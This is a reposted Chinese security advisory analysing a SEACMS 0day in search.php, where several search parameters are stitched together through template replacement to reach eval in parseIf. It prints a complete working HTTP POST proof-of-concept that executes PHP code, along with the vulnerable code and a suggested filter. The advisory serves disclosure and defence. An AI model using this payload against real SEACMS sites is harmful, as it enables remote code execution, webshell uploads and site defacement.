海洋CMS(SEACMS)0day漏洞预警

暗月博客 2019年11月21日23:08:59评论505 views字数 2832阅读9分26秒阅读模式
摘要

最近我们的一名安全托管客户反应,其服务器遭受到攻击,被黑客上传了webshell 并篡改网页内容。经过我们为客户安装云锁防护软件后,拦截到一个针对海洋CMS(SEACMS)的0day漏洞。  

概述

最近我们的一名安全托管客户反应,其服务器遭受到攻击,被黑客上传了webshell并篡改网页内容。经过我们为客户安装云锁防护软件后,拦截到一个针对海洋CMS(SEACMS)的0day漏洞。  

海洋CMS是一套专为不同需求的站长而设计的视频点播系统,在影视类CMS中具有很高的市场占有率,其官方地址是:http://www.seacms.net/

海洋CMS(SEACMS)几个老漏洞及其修补方法

在2017年2月,海洋CMS 6.45版本曾爆出一个前台getshell漏洞,漏洞具体内容参见:http://blog.csdn.net/qq_35078631/article/details/76595817。该漏洞成因在于search.php没有对用户输入内容进行过滤,导致攻击者提交的order参数可进入parseIf函数中执行eval。  

官方在6.46版中修复了该漏洞,修复方法是对用户输入的参数进行过滤并限制长度为20个字符。但这种修复方法并没有完全修复漏洞,因为在替换操作过程中用户输入的几个参数可以进行组合,因此补丁被绕过。  

随后官方又在8月7日发布了6.54版本再次修复漏洞,这次修复增加了一句:

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";

即限制了order参数只能是固定内容,这样虽然避免了通过order参数进行的攻击,但是却没有解决其他参数进入parseIf函数的问题。

海洋CMS(SEACMS)0day漏洞分析

我们抓取到的攻击payload(POC)如下:

POST /search.php HTTP/1.1 Host: www.xxx.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 208 Connection: keep-alive Upgrade-Insecure-Requests: 1 searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo(); 

可以看到,攻击入口已经不在是order参数,我们来看一下search.php中的搜索实现过程:

function echoSearchPage() { ......     $content = str_replace("{searchpage:page}",$page,$content);      $content = str_replace("{seacms:searchword}",$searchword,$content);     $content = str_replace("{seacms:searchnum}",$TotalResult,$content);      $content = str_replace("{searchpage:ordername}",$order,$content); ......     $content = str_replace("{searchpage:year}",$year,$content);      $content = str_replace("{searchpage:area}",$area,$content);     $content = str_replace("{searchpage:letter}",$letter,$content);      $content = str_replace("{searchpage:lang}",$yuyan,$content);     $content = str_replace("{searchpage:jq}",$jq,$content);     ......      $content = str_replace("{searchpage:state}",$state2,$content);     $content = str_replace("{searchpage:money}",$money2,$content);      $content = str_replace("{searchpage:ver}",$ver,$content); ......     $content=$mainClassObj->parseIf($content);

可以看到,代码中对html中的searchpage标签进行了多次替换,而攻击者也正是利用了这一点,在多次替换过程中使多个参数共同组合成最终的payload,这样既绕开了RemoveXSS的过滤又绕过了20字节的长度限制。  
在对参数进行了替换之后,content中已经包含了如下攻击payload:

if:eval(join($_POST[9]))

在随后的POST数据中攻击者又利用9[]把真正的payload利用base64_decode传入。最终$content内容被传入parseIf函数。在parseIf函数中判断含有if:标签,就会调用eval来执行该内容,从而导致了攻击者的payload被执行。

function parseIf($content){ if (strpos($content,'{if:')=== false){ return $content;       }else{ ......       @eval("if(".$strIf."){/$ifFlag=true;}else{/$ifFlag=false;}");海洋CMS(SEACMS)0day漏洞预警.
 

漏洞修复

根据云锁监测,目前该0day已经被大规模运用,而且攻击者使用自动化攻击脚本对全网SEACMS进行搜索并实施自动攻击。我们已在9月份向CNVD和厂商报告了漏洞详情,但截至2017.10.9,SEACMS仍然未发布该漏洞的补丁。建议SEACMS用户立即安装云锁并开启文件防上传功能,可暂时避免被自动化程序攻击。或在echoSearchPage()函数中增加一条过滤语句:

if(strpos($searchword,'{searchpage:')) exit;

*本文作者:天择实习生,转载请注明来自FreeBuf.COM

 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日23:08:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   海洋CMS(SEACMS)0day漏洞预警http://cn-sec.com/archives/74091.html

发表评论

匿名网友 填写信息